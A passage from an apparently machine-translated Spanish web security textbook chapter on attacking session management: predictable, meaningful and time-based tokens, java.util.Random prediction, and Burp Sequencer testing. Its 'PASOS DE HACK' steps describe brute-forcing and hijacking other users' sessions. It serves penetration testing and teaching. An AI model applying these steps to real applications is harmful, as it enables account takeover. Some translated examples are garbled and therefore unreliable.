Cookie: ASP.NET_SessionId=mza2ji454s04cwbgwb2ttj55
Este mecanismo estándar de gestión de sesiones es inherentemente vulnerable

a varias categorías de ataques. El objetivo principal de un atacante al atacar el
mecanismo es secuestrar de alguna manera la sesión de un usuario legítimo y,
por lo tanto, hacerse pasar por esa persona. Si el usuario se ha autenticado en la
aplicación, el atacante puede acceder a datos privados pertenecientes al usuario
o realizar acciones no autorizadas en nombre de esa persona. Si el usuario no
está autenticado, el atacante aún puede ver la información confidencial enviada
por el usuario durante su sesión.
Como en el ejemplo anterior de un servidor Microsoft IIS que ejecuta ASP.NET, la mayoría
de los servidores web comerciales y las plataformas de aplicaciones web implementan su
propia solución de administración de sesiones lista para usar basada en cookies HTTP.
Proporcionan API que los desarrolladores de aplicaciones web pueden usar para integrar su
propia funcionalidad dependiente de la sesión con esta solución.
Se ha descubierto que algunas implementaciones estándar de administración de sesiones
son vulnerables a varios ataques, lo que da como resultado que las sesiones de los usuarios se
vean comprometidas (estos se analizan más adelante en este capítulo). Además, algunos
desarrolladores descubren que necesitan un control más detallado sobre el comportamiento de
la sesión que el que les proporcionan las soluciones integradas, o quieren evitar algunas
vulnerabilidades inherentes a las soluciones basadas en cookies. Por estas razones, es bastante
común ver mecanismos de administración de sesiones personalizados y/o no basados en
cookies utilizados en aplicaciones críticas para la seguridad, como la banca en línea.
Las vulnerabilidades que existen en los mecanismos de gestión de sesiones se dividen en
gran medida en dos categorías:
n Debilidades en la generación de tokens de sesión n

Debilidades en el manejo de tokens de sesión a lo largo de su ciclo de vida
Examinaremos cada una de estas áreas a la vez, describiendo los diferentes tipos de
defectos que se encuentran comúnmente en los mecanismos de administración de sesiones
del mundo real y las técnicas prácticas para descubrirlos y explotarlos. Finalmente,
describiremos las medidas que las aplicaciones pueden tomar para defenderse de estos
ataques.
PASOS DE HACK
En muchas aplicaciones que utilizan el mecanismo de cookies estándar para transmitir

tokens de sesión, es sencillo identificar qué elemento de datos contiene el token. Sin
embargo, en otros casos esto puede requerir algo de trabajo de detective.
1. La aplicación a menudo puede emplear varios elementos diferentes de col.

lectivamente como un token, incluidas las cookies, los parámetros de URL y los
campos de formulario ocultos. Algunos de estos elementos pueden usarse para
mantener el estado de la sesión en diferentes componentes de back-end. No asuma
que un parámetro en particular es el token de sesión sin probarlo, o que las sesiones
se rastrean utilizando solo un elemento.
2. A veces, los elementos que parecen ser el token de sesión de la aplicación pueden no
serlo. En particular, la cookie de sesión estándar generada por el servidor web o la
plataforma de la aplicación puede estar presente pero la aplicación no la utiliza
realmente.
3. Observe qué elementos nuevos se pasan al navegador después de la autenticación.

A menudo, los tokens de sesión nuevos se crean después de que un usuario se autentique.
4. Para verificar qué elementos se están empleando realmente como tokens, busque una
página que definitivamente dependa de la sesión (como una página de "mis detalles"
específica del usuario). Realice varias solicitudes para ello, eliminando sistemáticamente
cada elemento que sospeche que se está utilizando como token. Si la eliminación de
un elemento hace que no se devuelva la página dependiente de la sesión, esto puede
confirmar que el elemento es un token de sesión. Burp Repeater es una herramienta
útil para realizar estas pruebas.
Alternativas a las sesiones

No todas las aplicaciones web emplean sesiones, y algunas aplicaciones críticas para la
seguridad que contienen mecanismos de autenticación y funcionalidades complejas optan
por usar otras técnicas para administrar el estado. Es probable que encuentre dos posibles
alternativas:
n Autenticación HTTP : las aplicaciones que utilizan varias tecnologías de autenticación

basadas en HTTP (básica, implícita, NTLM) a veces evitan la necesidad de usar
sesiones. Con la autenticación HTTP, el componente del cliente interactúa con el
mecanismo de autenticación directamente a través del navegador, utilizando
encabezados HTTP y no a través del código específico de la aplicación contenido en
una página individual. Después de que el usuario ingresa sus credenciales en un
cuadro de diálogo del navegador, el navegador vuelve a enviar estas credenciales de
manera efectiva (o vuelve a realizar cualquier protocolo de enlace requerido) con
cada solicitud posterior al mismo servidor. Esto es equivalente a una aplicación que
usa autenticación basada en formularios HTML y coloca un formulario de inicio de
sesión en cada página de la aplicación, lo que requiere que los usuarios se vuelvan a
autenticar con cada acción que realicen. Por lo tanto, cuando se utiliza la autenticación basada en HTTP, es po
para que una aplicación vuelva a identificar al usuario a través de múltiples solicitudes
sin usar sesiones. Sin embargo, la autenticación HTTP rara vez se usa en aplicaciones
basadas en Internet de cualquier complejidad, y los otros beneficios versátiles que
ofrecen los mecanismos de sesión completos significan que prácticamente todas las
aplicaciones web emplean estos mecanismos.
n Mecanismos de estado sin sesión: algunas aplicaciones no emiten tokens de
sesión para administrar el estado de la interacción de un usuario con la aplicación.
En su lugar, transmiten todos los datos necesarios para gestionar ese estado a través
del cliente, normalmente en una cookie o en un campo de formulario oculto. En
efecto, este mecanismo utiliza un estado sin sesión de forma muy parecida a como
lo hace ASP.NET ViewState . Para que este tipo de mecanismo sea seguro, los datos
transmitidos a través del cliente deben estar debidamente protegidos. Por lo general,
esto implica construir un blob binario que contenga toda la información de estado y
cifrarlo o firmarlo mediante un algoritmo reconocido. Se debe incluir suficiente
contexto dentro de los datos para evitar que un atacante recopile un objeto de estado
en una ubicación dentro de la aplicación y lo envíe a otra ubicación para causar algún
comportamiento no deseado. La aplicación también puede incluir un tiempo de
caducidad dentro de los datos del objeto para realizar el equivalente a los tiempos de espera de sesión.
El Capítulo 5 describe con más detalle los mecanismos seguros para transmitir datos
a través del cliente.
PASOS DE HACK
1. Si se utiliza la autenticación HTTP, es posible que no se implemente ningún

mecanismo de gestión de sesiones. Utilice los métodos descritos anteriormente
para examinar el papel que desempeña cualquier elemento de datos similar a un token.
2. Si la aplicación utiliza un mecanismo de estado sin sesión, transmitiendo

todos los datos necesarios para mantener el estado a través del cliente, esto
a veces puede ser difícil de detectar con certeza, pero los siguientes son
indicadores sólidos de que se está utilizando este tipo de mecanismo : Token-
los elementos de datos similares emitidos al cliente son bastante largos (100 o
más bytes). n La aplicación emite un nuevo elemento similar a un token en
respuesta a cada solicitud. n Los datos del elemento parecen estar encriptados
(y, por lo tanto, no tienen una estructura perceptible) o firmados (y, por lo
tanto, tienen una estructura significativa acompañada de unos pocos bytes de datos binarios sin sen
n La aplicación puede rechazar los intentos de enviar el mismo elemento con más
de una solicitud.
3. Si la evidencia sugiere fuertemente que la aplicación no usa tokens de sesión para

administrar el estado, es poco probable que cualquiera de los ataques descritos
en este capítulo logre algo. Probablemente sería mejor emplear su tiempo
buscando otros problemas graves, como controles de acceso rotos o inyección
de código.
Debilidades en la generación de tokens
Los mecanismos de gestión de sesiones a menudo son vulnerables a los ataques porque
los tokens se generan de una manera no segura que permite a un atacante identificar los
valores de los tokens que se han emitido a otros usuarios.
NOTA Existen numerosas ubicaciones en las que la seguridad de una

aplicación depende de la imprevisibilidad de los tokens que genera.
Aquí hay unos ejemplos:
n Tokens de recuperación de contraseña enviados a la dirección de correo electrónico registrada
del usuario n Tokens colocados en campos de formulario ocultos para evitar la falsificación de solicitudes entre sitios
ataques (ver Capítulo 13)
n Tokens utilizados para dar acceso único a recursos protegidos

n Tokens persistentes utilizados en funciones de "recuérdame"
n Tokens que permiten a los clientes de una aplicación de compras que no utiliza
autenticación recuperar el estado actual de un pedido existente
Las consideraciones de este capítulo relacionadas con las debilidades en la generación de

tokens se aplican a todos estos casos. De hecho, debido a que muchas de las aplicaciones
actuales se basan en mecanismos de plataforma maduros para generar tokens de sesión, a
menudo es en estas otras áreas de funcionalidad donde se encuentran las debilidades
explotables en la generación de tokens.
Fichas significativas
Algunos tokens de sesión se crean mediante una transformación del nombre de usuario o la
dirección de correo electrónico del usuario, u otra información asociada con esa persona. Esta
información puede estar codificada u ofuscada de alguna manera y puede combinarse con otros
datos.
Por ejemplo, el siguiente token puede parecer inicialmente una cadena aleatoria larga:
757365723d6461663b6170703d61646d696e3b646174653d30312f31322f3131
Sin embargo, en una inspección más cercana, puede ver que contiene solo caracteres
hexadecimales. Suponiendo que la cadena en realidad puede ser una codificación hexadecimal
de una cadena de caracteres ASCII, puede ejecutarla a través de un decodificador para revelar lo siguiente:
usuario=daf;aplicación=admin;fecha=10/09/11
Los atacantes pueden explotar el significado dentro de este token de sesión para intentar
adivinar las sesiones actuales de otros usuarios de la aplicación. Utilizando una lista de nombres
de usuario enumerados o comunes, pueden generar rápidamente grandes cantidades de tokens
potencialmente válidos y probarlos para confirmar cuáles son válidos.
Los tokens que contienen datos significativos a menudo exhiben una estructura. En otras
palabras, contienen varios componentes, a menudo separados por un delimitador, que se
pueden extraer y analizar por separado para permitir que un atacante comprenda su función y
medios de generación. Estos son algunos componentes que se pueden encontrar dentro de los
tokens estructurados:
n El nombre de usuario de la cuenta
n El identifi cador numérico que utiliza la aplicación para distinguir entre

cuentas
n Nombre y apellido del usuario
n La dirección de correo electrónico del usuario
n El grupo o rol del usuario dentro de la aplicación n Un sello
de fecha/hora n Un número incremental o predecible
n La dirección IP del cliente
Cada componente diferente dentro de un token estructurado, o incluso el token completo,

puede codificarse de diferentes maneras. Esta puede ser una medida deliberada para ofuscar
su contenido, o simplemente puede garantizar el transporte seguro de datos binarios a través
de HTTP. Los esquemas de codificación que se encuentran comúnmente incluyen XOR, Base64
y representación hexadecimal utilizando caracteres ASCII (consulte el Capítulo 3). Puede ser
necesario probar varias decodificaciones en cada componente de un token estructurado para
desempaquetarlo a su forma original.
NOTA Cuando una aplicación maneja una solicitud que contiene un token
estructurado, es posible que en realidad no procese todos los componentes
con el token o todos los datos contenidos en cada componente. En el ejemplo
anterior, la aplicación puede decodificar en Base64 el token y luego procesar
solo los componentes "usuario" y "fecha". En los casos en que un token
contiene una gota de datos binarios, gran parte de estos datos pueden ser
rellenos. Solo una pequeña parte puede ser relevante para la validación que el
servidor realiza en el token. Reducir las subpartes de un token que realmente
se requieren a menudo puede reducir considerablemente la cantidad de entropía aparente y complej
PASOS DE HACK
1. Obtenga un solo token de la aplicación y modifíquelo en forma sistemática

formas de determinar si se valida todo el token o si se ignoran algunos de sus
subcomponentes. Intente cambiar el valor del token un byte a la vez (o incluso un bit a
la vez) y vuelva a enviar el token modificado a la aplicación para determinar si aún se
acepta. Si encuentra que ciertas partes del token no necesitan ser correctas, puede
excluirlas de cualquier análisis posterior, lo que podría reducir la cantidad de trabajo
que debe realizar. Puede usar el tipo de carga útil "char frobber" en Burp Intruder para
modificar el valor de un token en una posición de carácter a la vez, para ayudar con
esta tarea.
2. Inicie sesión como varios usuarios diferentes en diferentes momentos y registre los tokens
recibido del servidor. Si el registro automático está disponible y puede elegir su nombre
de usuario, inicie sesión con una serie de nombres de usuario similares que contengan
pequeñas variaciones entre ellos, como A, AA, AAA, AAAA, AAAB, AAAC, AABA, etc.
Si se envían otros datos específicos del usuario al iniciar sesión o se almacenan en
perfiles de usuario (como una dirección de correo electrónico), realice un ejercicio
similar para variar esos datos sistemáticamente y registre los tokens recibidos después del inicio de sesión.
3. Analice los tokens en busca de correlaciones que parezcan estar relacionadas con el
nombre de usuario y otros datos controlables por el usuario.
4. Analice los tokens en busca de cualquier codificación u ofuscación detectable. Donde el

El nombre de usuario contiene una secuencia del mismo carácter, busque una
secuencia de caracteres correspondiente en el token, lo que puede indicar el uso de
ofuscación XOR. Busque secuencias en el token que contengan solo caracteres
hexadecimales, lo que puede indicar una codificación hexadecimal de una cadena
ASCII u otra información. Busque secuencias que terminen en un signo igual y/o que
contengan solo los otros caracteres Base64 válidos: de la a a la z, de la A a la Z, del 0 al 9, + y /.
5. Si se puede aplicar ingeniería inversa a algún significado a partir de la muestra de

tokens de sesión, considere si tiene suficiente información para intentar adivinar
los tokens emitidos recientemente a otros usuarios de la aplicación. Encuentre una
página de la aplicación que dependa de la sesión, como una que devuelva un mensaje
de error o una redirección a otro lugar si se accede sin una sesión válida.
Luego use una herramienta como Burp Intruder para hacer un gran número de
solicitudes a esta página usando tokens adivinados. Supervise los resultados para
cualquier caso en el que la página se cargue correctamente, indicando un token de sesión válido.
¡INTENTALO!
Fichas predecibles
Algunos tokens de sesión no contienen datos significativos que los asocien con un usuario
en particular. Sin embargo, se pueden adivinar porque contienen secuencias o patrones que
permiten a un atacante extrapolar a partir de una muestra de tokens para encontrar otros
tokens válidos emitidos recientemente por la aplicación. Incluso si la extrapolación implica
alguna prueba y error (por ejemplo, una suposición válida cada 1000 intentos), esto aún
permitiría un ataque automatizado para identificar una gran cantidad de tokens válidos en un
período de tiempo relativamente corto.
Las vulnerabilidades relacionadas con la generación predecible de tokens pueden ser
mucho más fáciles de descubrir en implementaciones comerciales de gestión de sesiones,
como servidores web o plataformas de aplicaciones web, que en aplicaciones a medida.
Cuando se dirige de forma remota a un mecanismo de administración de sesiones
personalizado, su muestra de tokens emitidos puede estar restringida por la capacidad del
servidor, la actividad de otros usuarios, su ancho de banda, la latencia de la red, etc. Sin
embargo, en un entorno de laboratorio, puede crear rápidamente millones de tokens de
muestra, todos secuenciados con precisión y con marca de tiempo, y puede eliminar la
interferencia causada por otros usuarios.
En los casos más simples y descaradamente vulnerables, una aplicación puede usar un
número secuencial simple como token de sesión. En este caso, solo necesita obtener una
muestra de dos o tres tokens antes de lanzar un ataque que capturará rápidamente el 100%
de las sesiones actualmente válidas.
La Figura 7-1 muestra el uso de Burp Intruder para recorrer los últimos dos dígitos de un
token de sesión secuencial para encontrar valores en los que la sesión todavía está activa y
puede ser secuestrada. Aquí, la longitud de la respuesta del servidor es un indicador fiable
de que se ha encontrado una sesión válida. La función extract grep también se ha utilizado
para mostrar el nombre del usuario que inició sesión para cada sesión.
En otros casos, los tokens de una aplicación pueden contener secuencias más elaboradas
que requieren cierto esfuerzo para descubrir. Los tipos de variaciones potenciales que puede
encontrar aquí son abiertos, pero la experiencia de los autores en el campo indica que los
tokens de sesión predecibles comúnmente surgen de tres fuentes diferentes:
n Secuencias ocultas n
Dependencia del tiempo n
Débil generación de números aleatorios
Veremos cada una de estas áreas a su vez.
Secuencias ocultas
Es común encontrar tokens de sesión que no se pueden predecir fácilmente cuando se
analizan en su forma original, pero que contienen secuencias que se revelan cuando los
tokens se decodifican o desempaquetan adecuadamente.
Figura 7-1: Un ataque para descubrir sesiones válidas donde el token de sesión
es predecible
Considere la siguiente serie de valores, que forman un componente de un

token de sesión estructurada:
Guau
Ls3Ajg
xpKr+A
XleXYg
9hycza
jefung
JaZZoA
No se puede discernir ningún patrón inmediato; sin embargo, una inspección superficial indica
que los tokens pueden contener datos codificados en Base64. Además de los caracteres
alfabéticos y numéricos en mayúsculas y minúsculas, hay un carácter +, que también es válido
en una cadena codificada en Base64. Ejecutar los tokens a través de un decodificador Base64
revela lo siguiente:
--
Õ$ .ÍÀŽ
Æ'«ø
^Wb
ì?
frase6
%¦Y
Estas cadenas parecen ser un galimatías y también contienen caracteres que no se

imprimen. Esto normalmente indica que se trata de datos binarios en lugar de texto ASCII.
Representar los datos decodificados como números hexadecimales le da lo siguiente:
9708D524
2ECDC08E
C692ABF8
5E579762
F61C82CC
8DE16E36
25A659A0
Todavía no hay un patrón visible. Sin embargo, si restas cada número del anterior,
llegas a lo siguiente:
FF97C4EB6A
97C4EB6A
FF97C4EB6A
97C4EB6A
FF97C4EB6A
FF97C4EB6A
que inmediatamente revela el patrón oculto. El algoritmo utilizado para generar tokens
agrega 0x97C4EB6A al valor anterior, trunca el resultado a un número de 32 bits y
codifica en Base64 estos datos binarios para permitir su transporte mediante el
protocolo HTTP basado en texto. Con este conocimiento, puede escribir fácilmente un
script para producir la serie de tokens que el servidor producirá a continuación y la serie
que produjo antes de la muestra capturada.
Dependencia del tiempo
Algunos servidores web y aplicaciones emplean algoritmos para generar tokens de

sesión que usan el tiempo de generación como entrada para el valor del token. Si se
incorpora otra entropía insuficiente en el algoritmo, es posible que pueda predecir los
tokens de otros usuarios. Aunque cualquier secuencia dada de tokens por sí sola puede
parecer aleatoria, la misma secuencia junto con la información sobre el momento en
que se generó cada token puede contener un patrón perceptible. En una aplicación
ocupada con una gran cantidad de sesiones que se crean cada segundo, un ataque
con script puede lograr identificar una gran cantidad de tokens de otros usuarios.
Al probar la aplicación web de un minorista en línea, los autores encuentran
introdujo la siguiente secuencia de tokens de sesión:
3124538-1172764258718
3124539-1172764259062
3124540-1172764259281
3124541-1172764259734
3124542-1172764260046
3124543-1172764260156
3124544-1172764260296
3124545-1172764260421
3124546-1172764260812
3124547-1172764260890
Cada token está claramente compuesto por dos componentes numéricos

separados. El primer número sigue una secuencia incremental simple y es fácil de predecir.
El segundo número aumenta en una cantidad variable cada vez. Calcular las diferencias
entre su valor en cada ficha sucesiva revela lo siguiente:
344
219
453
312
110
140
125
391
78
La secuencia no parece contener un patrón confiablemente predecible. Sin embargo,

sería claramente posible utilizar la fuerza bruta en el rango de números relevante en un
ataque automatizado para descubrir valores válidos en la secuencia. Sin embargo, antes
de intentar este ataque, esperamos unos minutos y reunimos una secuencia adicional de fichas:
3124553-1172764800468
3124554-1172764800609
3124555-1172764801109
3124556-1172764801406
3124557-1172764801703
3124558-1172764802125
3124559-1172764802500
3124560-1172764802656
3124561-1172764803125
3124562-1172764803562
Comparando esta segunda secuencia de fichas con la primera, dos puntos son
inmediatamente obvios:
n La primera secuencia numérica continúa progresando de forma incremental; sin

embargo, se han saltado cinco valores desde el final de la primera secuencia.
Presumiblemente, esto se debe a que los valores que faltan se han emitido a
otros usuarios que iniciaron sesión en la aplicación en la ventana entre las dos
pruebas. n La segunda secuencia numérica continúa avanzando en intervalos
similares a los anteriores; sin embargo, el primer valor que obtenemos es un
masivo 539,578 mayor que el valor anterior.
Esta segunda observación nos alerta de inmediato sobre el papel que juega el tiempo
en la generación de tokens de sesión. Aparentemente, solo se han emitido cinco tokens
entre los dos ejercicios de obtención de tokens. Sin embargo, ha transcurrido un período
de aproximadamente 10 minutos. La explicación más probable es que el segundo número
depende del tiempo y es probablemente una simple cuenta de milisegundos.
De hecho, nuestra corazonada es correcta. En una fase posterior de nuestras pruebas, realizamos
una revisión de código, que revela el siguiente algoritmo de generación de tokens:
Cadena sessId = Integer.toString(s_SessionIndex++) +

"-" +
System.currentTimeMills();
Dado nuestro análisis de cómo se crean los tokens, es sencillo construir un ataque
con secuencias de comandos para recolectar los tokens de sesión que la aplicación emite
a otros usuarios:
n Continuamos sondeando el servidor para obtener nuevos tokens de sesión en forma rápida.
sucesión.
n Monitoreamos los incrementos en el primer número. Cuando esto aumenta en más

de 1, sabemos que se ha emitido un token a otro usuario.
n Cuando se ha emitido un token a otro usuario, conocemos los límites superior e

inferior del segundo número que se emitió a esa persona, porque poseemos los
tokens que se emitieron inmediatamente antes y después del suyo. Debido a que
estamos obteniendo nuevos tokens de sesión con frecuencia, el rango entre estos
límites generalmente consistirá en solo unos pocos cientos de valores. n Cada vez
que se emite un token a otro usuario, lanzamos un ataque de fuerza bruta para iterar
a través de cada número en el rango, agregando esto al número incremental
faltante que sabemos que se emitió al otro usuario. Intentamos acceder a una
página protegida usando cada token que construimos, hasta que el intento tiene
éxito y hemos comprometido la sesión del usuario. n La ejecución continua de este
ataque con script nos permitirá capturar el token de sesión de todos los demás
usuarios de la aplicación. Cuando un usuario administrativo inicie sesión,
comprometeremos completamente toda la aplicación.
¡INTENTALO!
Generación de números aleatorios débiles
Muy poco de lo que ocurre dentro de una computadora es aleatorio. Por lo tanto, cuando
se requiere aleatoriedad para algún propósito, el software usa varias técnicas para
generar números de manera pseudoaleatoria. Algunos de los algoritmos utilizados
producen secuencias que parecen ser estocásticas y manifiestan una distribución
uniforme en el rango de valores posibles. Sin embargo, pueden ser extrapolados hacia
adelante o hacia atrás con perfecta precisión por cualquiera que obtenga una pequeña muestra de valores.
Cuando se usa un generador de números pseudoaleatorios predecibles para producir tokens
de sesión, los tokens resultantes son vulnerables a la secuenciación por parte de un atacante.
Jetty es un popular servidor web escrito 100% en Java que proporciona un mecanismo
de gestión de sesiones para que lo utilicen las aplicaciones que se ejecutan en él. En
2006, Chris Anley de NGSSoftware descubrió que el mecanismo era vulnerable a un
ataque de predicción de token de sesión. El servidor usó la API de Java java.util.Random
para generar tokens de sesión. Esto implementa un "generador lineal congruente", que
genera el siguiente número en la secuencia de la siguiente manera:
sincronizado protegido int next(int bits) {

semilla = (semilla * 0x5DEECE66DL + 0xBL) & ((1L << 48) - 1);
return (int)(semilla >>> (48 - bits));
}
Este algoritmo toma el último número generado, lo multiplica por una constante y
suma otra constante para obtener el siguiente número. El número se trunca a 48 bits y
el algoritmo cambia el resultado para devolver el número específico de bits solicitado por
la persona que llama.
Conociendo este algoritmo y un solo número generado por él, podemos derivar
fácilmente la secuencia de números que el algoritmo generará a continuación. Con un
poco de teoría de números, también podemos derivar la secuencia que generó
previamente. Esto significa que un atacante que obtiene un único token de sesión del
servidor puede obtener los tokens de todas las sesiones actuales y futuras.
NOTA A veces, cuando los tokens se crean en función de la salida de un

generador de números pseudoaleatorios, los desarrolladores deciden
construir cada token concatenando varias salidas secuenciales del
generador. La justificación percibida para esto es que crea un token más largo y, por lo tanto, "más fue
Sin embargo, esta táctica suele ser un error. Si un atacante puede
obtener varias salidas consecutivas del generador, esto puede permitirle
inferir alguna información sobre su estado interno. De hecho, puede ser más
fácil para el atacante extrapolar la secuencia de salidas del generador, ya sea hacia adelante o hacia atrá
Otros marcos de aplicaciones estándar utilizan fuentes de entropía sorprendentemente

simples o predecibles en la generación de tokens de sesión, muchas de las cuales son deterministas.
Por ejemplo, en PHP frameworks 5.3.2 y anteriores, el token de sesión se genera
basado en la dirección IP del cliente, el tiempo de época en la creación del token, los
microsegundos en la creación del token y un generador lineal congruente. Aunque hay
varios valores desconocidos aquí, algunas aplicaciones pueden revelar información que
permita inferirlos. Un sitio de redes sociales puede revelar la hora de inicio de sesión y la
dirección IP de los usuarios del sitio. Además, la semilla utilizada en este generador es el
momento en que se inició el proceso de PHP, que podría determinarse dentro de un
pequeño rango de valores si el atacante está monitoreando el servidor.
NOTA Esta es un área de investigación en evolución. Las debilidades en la

generación de tokens de sesión de PHP se señalaron en la lista de correo de
divulgación completa en 2001, pero no se demostró que fueran realmente
explotables. Samy Kamkar finalmente puso en práctica la teoría de 2001 con la herramienta phpwn en 2
Prueba de la calidad de la aleatoriedad

En algunos casos, puede identificar patrones en una serie de tokens solo con una inspección
visual o con una pequeña cantidad de análisis manual. Sin embargo, en general, debe
utilizar un enfoque más riguroso para probar la calidad de la aleatoriedad dentro de los
tokens de una aplicación.
El enfoque estándar para esta tarea aplica los principios de la prueba de hipótesis
estadística y emplea varias pruebas bien documentadas que buscan evidencia de no
aleatoriedad dentro de una muestra de tokens. Los pasos de alto nivel en este proceso son
los siguientes:
1. Comience con la hipótesis de que las fichas se generan aleatoriamente.

2. Aplicar una serie de pruebas, cada una de las cuales observa propiedades específi
cas de la muestra que es probable que tengan ciertas características si las fichas se
generan aleatoriamente.
3. Para cada prueba, calcule la probabilidad de que ocurran las características
observadas, suponiendo que la hipótesis es verdadera.
4. Si esta probabilidad cae por debajo de cierto nivel (el "nivel de significación"),
rechace la hipótesis y concluya que las fichas no se generan aleatoriamente.
¡La buena noticia es que no tienes que hacer nada de esto manualmente! La mejor
herramienta disponible actualmente para probar la aleatoriedad de los tokens de aplicaciones
web es Burp Sequencer. Esta herramienta aplica varias pruebas estándar de manera flexible
y le brinda resultados claros que son fáciles de interpretar.
Para usar Burp Sequencer, debe encontrar una respuesta de la aplicación que emite el
token que desea probar, como una respuesta a una solicitud de inicio de sesión que emite
una nueva cookie que contiene un token de sesión. Seleccione la opción "enviar al
secuenciador" del menú contextual de Burp y, en la configuración del secuenciador,
establezca la ubicación del token dentro de la respuesta, como se muestra en la Figura 7-2. Tú también puedes
configure varias opciones que afectan la forma en que se recopilan los tokens y
luego haga clic en el botón Iniciar captura para comenzar a capturar tokens. Si ya
obtuvo una muestra adecuada de tokens por otros medios (por ejemplo, al guardar
los resultados de un ataque de Burp Intruder), puede usar la pestaña de carga
manual para omitir la captura de tokens y pasar directamente al análisis estadístico.
Figura 7-2: Configuración de Burp Sequencer para probar la aleatoriedad de un token de sesión
Cuando haya obtenido una muestra adecuada de fichas, puede realizar el análisis
estadístico de la muestra. También puede realizar análisis intermedios mientras aún se
captura la muestra. En general, obtener una muestra más grande mejora la confiabilidad del
análisis. El tamaño de muestra mínimo que requiere Burp es de 100 fichas, pero lo ideal es
que obtenga una muestra mucho más grande que esta. Si el análisis de unos cientos de
tokens muestra de manera concluyente que los tokens fallan en las pruebas de aleatoriedad,
puede decidir razonablemente que no es necesario capturar más tokens. De lo contrario,
debe continuar capturando tokens y volver a realizar el análisis periódicamente. Si captura
5.000 tokens que pasan las pruebas de aleatoriedad, puede decidir que esto es suficiente.
Sin embargo, para lograr el cumplimiento de las pruebas formales de aleatoriedad de FIPS,
debe obtener una muestra de 20 000 tokens. Este es el tamaño de muestra más grande que
admite Burp.
Burp Sequencer realiza las pruebas estadísticas a nivel de caracteres y bits.
Los resultados de todas las pruebas se agregan para dar una estimación general del número
de bits de entropía efectiva dentro de la ficha; este es el resultado clave a considerar.

Sin embargo, también puede profundizar en los resultados de cada prueba para comprender
exactamente cómo y por qué las diferentes partes del token aprobaron o fallaron cada prueba,
como se muestra en la Figura 7-3. La metodología utilizada para cada tipo de prueba se describe
debajo de los resultados de la prueba.
Figura 7-3: Análisis de los resultados de Burp Sequencer para comprender las propiedades
de los tokens que se probaron
Tenga en cuenta que Burp realiza todas las pruebas individualmente en cada carácter
y bit de datos dentro del token. En muchos casos, encontrará que gran parte de un token
estructurado no es aleatorio; esto en sí mismo puede no presentar ningún tipo de debilidad.
Lo que importa es que el token contenga un número suficiente de bits que pasen las
pruebas de aleatoriedad. Por ejemplo, si un token grande contiene 1000 bits de información,
y solo 50 de estos bits pasan las pruebas de aleatoriedad, el token como un todo no es
menos robusto que un token de 50 bits que pasa completamente las pruebas.
NOTA Tenga en cuenta dos advertencias importantes al realizar pruebas

estadísticas de aleatoriedad. Estas advertencias afectan la interpretación
correcta de los resultados de la prueba y sus consecuencias para la posición
de seguridad de la aplicación. Primero, los tokens que se generan de forma
completamente determinista pueden pasar las pruebas estadísticas de
aleatoriedad. Por ejemplo, un generador de números pseudoaleatorios
congruentes lineales, o un algoritmo que calcula el hash de un número
secuencial, puede generar resultados que superen las pruebas. Sin embargo,
un atacante que conoce el algoritmo y el estado interno del generador puede
extrapolar su salida con total fiabilidad tanto en dirección directa como inversa.
En segundo lugar, las fichas que fallan en las pruebas estadísticas de aleatoriedad
pueden no ser realmente predecibles en ninguna situación práctica. Si un bit dado de un
token no pasa las pruebas, esto significa únicamente que la secuencia de bits observada
en esa posición contiene características que es poco probable que ocurran en un token genuinamente aleatorio.
Pero intentar predecir el valor de ese bit en el siguiente token, en función de las
características observadas, puede ser un poco más fiable que una conjetura a ciegas.
Multiplicar esta falta de confiabilidad a través de una gran cantidad de bits que deben
predecirse simultáneamente puede significar que la probabilidad de hacer una
predicción correcta es extremadamente baja.
PASOS DE HACK
1. Determine cuándo y cómo se emiten los tokens de sesión recorriendo la aplicación

desde la primera página de la aplicación a través de cualquier función de inicio
de sesión. Dos comportamientos son comunes:
n La aplicación crea una nueva sesión cada vez que se recibe una solicitud que
no envía un token.
n La aplicación crea una nueva sesión luego de un inicio de sesión exitoso.
Para recolectar una gran cantidad de tokens de manera automatizada, lo ideal es

identificar una sola solicitud (por lo general, GET o un envío de inicio de sesión)
que hace que se emita un nuevo token.
2. En Burp Suite, envíe la solicitud que crea una nueva sesión a Burp
Secuenciador y configure la ubicación del token. Luego comience una captura
en vivo para reunir tantos tokens como sea posible. Si se utiliza un mecanismo de
administración de sesión personalizado y solo tiene acceso remoto a la aplicación,
recopile los tokens lo más rápido posible para minimizar la pérdida de tokens
emitidos a otros usuarios y reducir la influencia de cualquier dependencia de tiempo.
3. Si se utiliza un mecanismo comercial de administración de sesiones y/o tiene

acceso local a la aplicación, puede obtener secuencias indefinidamente
grandes de tokens de sesión en condiciones controladas.
4. Mientras Burp Sequencer está capturando tokens, habilite la configuración de

"análisis automático" para que Burp realice automáticamente el análisis estadístico
periódicamente. Reúna al menos 500 fichas antes de revisar los resultados en detalle.
Si una cantidad suficiente de bits dentro del token ha pasado las pruebas,
continúe recopilando tokens durante el tiempo que sea posible, revisando los
resultados del análisis a medida que se capturan más tokens.
5. Si los tokens no pasan las pruebas de aleatoriedad y parecen contener patrones

que podrían explotarse para predecir futuros tokens, vuelva a realizar el ejercicio
desde una dirección IP diferente y (si corresponde) un nombre de usuario
diferente. Esto lo ayudará a identificar si se detecta el mismo patrón y si los tokens
recibidos en el primer ejercicio podrían extrapolarse para identificar los tokens
recibidos en el segundo. A veces, la secuencia de fichas capturadas por un usuario
manifiesta un patrón. Pero esto no permitirá una extrapolación directa a los tokens
emitidos a otros usuarios, porque la información como la IP de origen se utiliza
como fuente de entropía (como una semilla para un generador de números
aleatorios).
6. Si cree que tiene suficiente información sobre el algoritmo de generación de

tokens para montar un ataque automático contra las sesiones de otros usuarios,
es probable que la mejor manera de lograrlo sea a través de un script personalizado.
Esto puede generar tokens utilizando los patrones específicos que ha observado
y aplicar cualquier codificación necesaria. Consulte el Capítulo 14 para conocer
algunas técnicas genéricas para aplicar la automatización a este tipo de problema.
7. Si el código fuente está disponible, revise detenidamente el código responsable de

generar tokens de sesión para comprender el mecanismo utilizado y determinar si
es vulnerable a la predicción. Si la entropía se extrae de los datos que se pueden
determinar dentro de la aplicación dentro de un rango de fuerza bruta, considere
la cantidad práctica de solicitudes que se necesitarían para aplicar fuerza bruta a
un token de aplicación.
¡INTENTALO!
Fichas encriptadas
Algunas aplicaciones usan tokens que contienen información significativa sobre
el usuario y buscan evitar los problemas obvios que esto conlleva encriptando los
tokens antes de que se entreguen a los usuarios. Dado que los tokens se cifran
con una clave secreta que los usuarios desconocen, este parece ser un enfoque
sólido, ya que los usuarios no podrán descifrar los tokens ni alterar su contenido.
Sin embargo, en algunas situaciones, según el algoritmo de cifrado

